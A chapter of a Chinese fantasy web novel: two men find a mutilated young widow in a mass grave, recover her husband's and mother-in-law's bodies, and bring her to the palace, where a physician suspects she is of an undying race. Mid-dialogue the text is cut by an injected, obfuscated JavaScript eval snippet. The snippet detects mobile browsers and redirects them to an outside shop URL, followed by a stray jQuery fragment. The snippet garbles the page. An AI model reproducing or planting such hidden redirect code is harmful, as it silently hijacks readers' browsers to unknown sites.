“青哥和阿娘是因我而死的,我要找到他们,可是……”阿福哀声泣道,“我找不到他们,我找不到他们……”
阿福哭泣着,又开始在枯树下寻找着地上的尸体。
顾渊见此,脸色变得十分难看,月千歌的脸色也不好,他看着阿福,对顾渊说道:“找不到她的夫君和婆母,她应该不会离开这里。”
“先生,她伤的如此严重,真的还活着吗?”顾渊压低声音问道。因为现在的阿福就像一具行尸走肉,有着执念的行尸走肉。
他自然是希望阿福还活着,可是被人开膛破肚挖出腹中胎儿,又被扔在了乱葬岗这几天,她没有医治,没有食物,常人怎么可能还活着?!
“活着。”月千歌确定。
顾渊不在问了。
“她真个是可怜人。”月千歌也不由感叹。阿福说起往事时,很多她都简单带过,可他和顾渊都清楚,林猎户死后,她一介孤女流浪在南朝,那是九死一生。
她能活着来到荣盛镇绝对不容易,却没想到她遇见了良人,以为终生有了依靠时,又发生了这件事。
顾渊看不下去了,上前将阿福扶住,让她找一处干净的地方坐着,他来帮她找。
“你夫君有什么特征没有?”
“他是六指。”
“好,我来找。”顾渊也不顾地上腐烂生蛆的尸体多么恶心,直接徒手翻找。
阿福还有一口气,也仅剩了一口气,她身上的力气不多了,她只能简单翻找着,而且失血过多让她头脑也不太灵光,这些日子来,她只在这棵歪脖子枯树附近徘徊着,寻找着。
顾渊力气大,动作也快,很快就把这附近的尸身都翻了一遍,不见有六指之人。
顾渊便扩大范围,在外面一圈翻找着,月千歌想来帮忙,刚撩起袖子,顾渊拦住了他。
“先生,这里脏。”
“无妨。”
“听话,我找就行。”顾渊知道月千歌的脾气有时候也挺犟,于是便哄着他。
月千歌有些无奈,明明自己比他大,他还经常把自己当小孩子了。
顾渊冲着月千歌露齿一笑,又回头看了一眼坐在歪脖子枯树下的阿福。树上那只寒鸦似乎因为这些日子经常看见她,也熟悉了,见阿福坐在树下,它飞了下来,在阿福对面的一具尸体上站着,歪头瞅着她。
“先生陪陪阿福吧。”顾渊声音轻柔,带着一丝他也没有察觉的心疼。
月千歌点头,来到了阿福身边。
听见身边有动静,阿福侧过头,就看见来人是那个跟着阿离哥哥身边很好看的大哥哥。
阿福想笑,只是她眼中悲凉,如今这脸上的笑容也是苦涩。
月千歌没有说话,静默地站在一旁陪着她,阿福收起了脸上的笑容,又看向面前那只寒鸦。
寒鸦在尸体上来回踱步,待到破晓东方时,它才悲鸣一声,旋即扑腾着翅膀飞到了那棵歪脖子的枯树上。
“找到了!”顾渊的声音响起,“阿福,你来看看,是他们吗?”
闻此,阿福连忙朝着顾渊那边跑去。月千歌跟在阿福身后,没有扶着她,目光紧落在她身上,如果阿福身体不支,能在第一时间扶稳她。
好在阿福步履有些蹒跚,却没有摔倒,踉踉跄跄地来到顾渊身边。
顾渊在这帽子林里翻找到天亮,这才外围的一卷草席里发现两具泛着腐气的尸体,面容已经塌下去了,身上血肉模糊,只在其中一具尸体的右手处看见五个半的手指。
第六指断了一半,只有短短一截。
阿福才过去,还没看见那尸身的容貌,但是已经认了出来,那就是青哥和阿娘。
“夫君!”阿福一声惊呼,声音悲戚凄惨,她仅剩的最后一口气在这一声呼唤中散去。
顾渊连忙将阿福扶住,月千歌上前为她把了把脉,言道:“阿福姑娘身上的伤不能再拖了。”
月千歌又轻声说了句“得罪了”,然后小心翼翼撩开了阿福的衣服,鲜血浸透了衣衫,带着血腥味,有些变成了干褐色,又因为鲜血一直在流着,再次染红了。
而那衣服下的伤痕十分可怖,皮肉翻开,划破了整个肚子,可能因为过了几天,那可怖的伤口有些在愈合,有些在流脓,有些还在汩汩的冒着血。
“她可能还活着?”顾渊见到阿福身上的伤,震惊大过愤怒。
月千歌倒是猜到了一些,他道:“先将阿福送回宫,至于原因,我路上在告诉殿下。”
因为阿福昏迷了,顾渊打算雇一辆马车。月千歌自身灵力不足,便找顾渊渡了一些灵力给他,他用传音术让徐君延过来一趟。
荣盛镇离建康不算远,若是骑马一天时间便可,而徐君延有孰湖,那可是日行万里的莽荒古兽。于是这边月千歌才传了消息,在等着顾渊雇马车的功夫,徐君延就骑着孰湖来了。
月千歌把这里发生的事大概告诉了徐君延,隐去了他对李盐商说“未见天日羊羔”的事。
徐君延不是善人,也不会随便害人性命。他对李银钏使用鬼不语,必定会损坏李银钏的气血和精神力,是因为李银钏在他眼里不过只是利用的棋子而已,更何况气血与精神力有损,数年时间,也能修养,不会伤她性命,也不会损自己阴德。
但是他万万没想到李盐商竟然为此竟然残害孕妇。
当听见月千歌说阿福肚子被人刨开时,徐君延脸色一下子黑了起来。
过了许久,他说:“是我害了她。”
“不止是阿福姑娘,刚才我打听了一下,这段日子里消失的孕妇有七人。”月千歌叹了口气。
听见说消失了七位孕妇,徐君延表情出现一丝骇然,随后他想起了什么,微微沉思。
徐君延想着,既然事情已经发生,那就要将这件事利用起来。半晌,他开口说道:“其实这件事对殿下有利,殿下起义至今,他功劳不小,日后必定会挟恩图报。而且他是小人,还眼高于顶,只给他虚位恐怕不愿,会心生异端,不如借此铲除。”
月千歌道:“我也是这个意思,这个人,不能留。”
正巧这时顾渊赶着马车过来,三人去了帽子林,孰湖没有跟着,它怕脏,就自己将身形化小,像一只小马驹一样,在山间跑着玩。
“你传音找我过来不会只是为了告诉我这件事吧?”徐君延问道。这事大可以等他们回宫再说,只要顾渊还未登基,就有收拾李盐商的时间。
“自然是有重要的事。”月千歌道,“殿下与我送阿福姑娘回宫,就麻烦丞相大人给老夫人与青哥一个体面,寻一处风水宝地安葬。”
“……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710790|208415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”徐君延面无表情地问道,“为什么不是我送阿福姑娘回宫,你来找风水宝地呢?孰湖日行万里,片刻便可到达建康,不比这马车更快吗?”
“丞相大人真是说笑了。”月千歌理直气壮,“我不擅长风水,加之我也不熟悉这附近的山川地理。更何况孰湖的性子丞相大人不是不知道,外人碰它都不行,更别说让它驮着浑身血污的人,别到时候给扔下去了。”
关于这一点,徐君延无法反驳,孰湖的确能干得出来。
“不对,她还活着?”徐君延这才意识到阿福姑娘是最早被李盐商抓走开膛破肚的孕妇,这都过去十多天了,她竟然还活着?
很快,徐君延想到了一种人,他立马看向月千歌,月千歌点了点头。
既然如此,徐君延只得认命留在这里。他安排人先去买棺椁,将青哥和他母亲的尸身放入棺椁中,再在他们口中放入一枚清凉丹。
清凉丹可以延迟物品腐化,和清凉咒差不多,不过一种是药物,一种是法术。清凉咒的维持时间与施法人的灵力有关,而清凉丹能维持半年左右,一般富贵人家的族中有人去世,需停灵四十九天,就会使用清凉丹。
顾渊他们还没回宫,徐君延怕打草惊蛇,就没有将青哥与他母亲的棺椁停在青哥的家中,而是买了一户偏僻的小院,又安排人来守着,自己则是去寻找附近的风水地。
顾渊这边带着昏迷的阿福回到了皇宫,就命人将太医院的周寻怀请来。
周寻怀是太医院的院使,总管太医院大小事务,除了皇上派人,哪怕是后宫妃嫔请他,也不会出诊。而周寻怀的师傅是北朝天道的医修师祖孔雀老人,他也是修仙出身,所以他性格高傲,苍璐也随着他。
当周寻怀来到顾渊所住的天辰殿偏殿,看见榻上躺着的不过是一个满身血污的女人时,他面色立马沉了下来,一双毫无精气神的死鱼眼漠然地瞧了榻上女人一眼,就说道:“臣无能为力,殿下另请高明。”
说完,周寻怀就要离开。
他刚一转身,就感觉一股寒意油然而生,眼角余光瞥见一柄泛着寒光的长剑抵在了他脖颈处。
周寻怀并没有求饶,他冷笑一声道:“殿下要杀要剐,悉听尊便。”
说完,不顾抵在脖子上的破军,直接朝门外走去。
“周院使留步。”月千歌快步上前叫住了他。
“月先生如果是来劝我的,还请先生不要浪费口水了。”周寻怀是典型的软硬不吃,他要是犟起来,谁都劝不了他,“我还有事,就不耽误殿下和先生了。”
“这姑娘在十二日前被人活生生地抛开肚子,将腹中婴孩取出。”月千歌道。
周寻怀走到殿门口的脚步一顿,并未回头,冷声道:“她可怜,并非我害,与我无关。”
“她被人扔到了乱葬岗里,随后这些天她就在乱葬岗中徘徊着。”月千歌抬起了眼帘,墨色的眼瞳犹如深夜,静静地看着周寻怀。他的语气很平静,平静的像是在说一件很寻常的事儿,“她就这样满身血污活到了现在,仔细想来,只有一种可能……”
月千歌没有说话,而周寻怀迈出门槛的脚收了回来。他转过身,不可思议地问道:“月先生的意思是她是异人族……”周寻怀目光放远,看着榻上昏睡着的阿福,缓缓吐出三个字,“不死国?”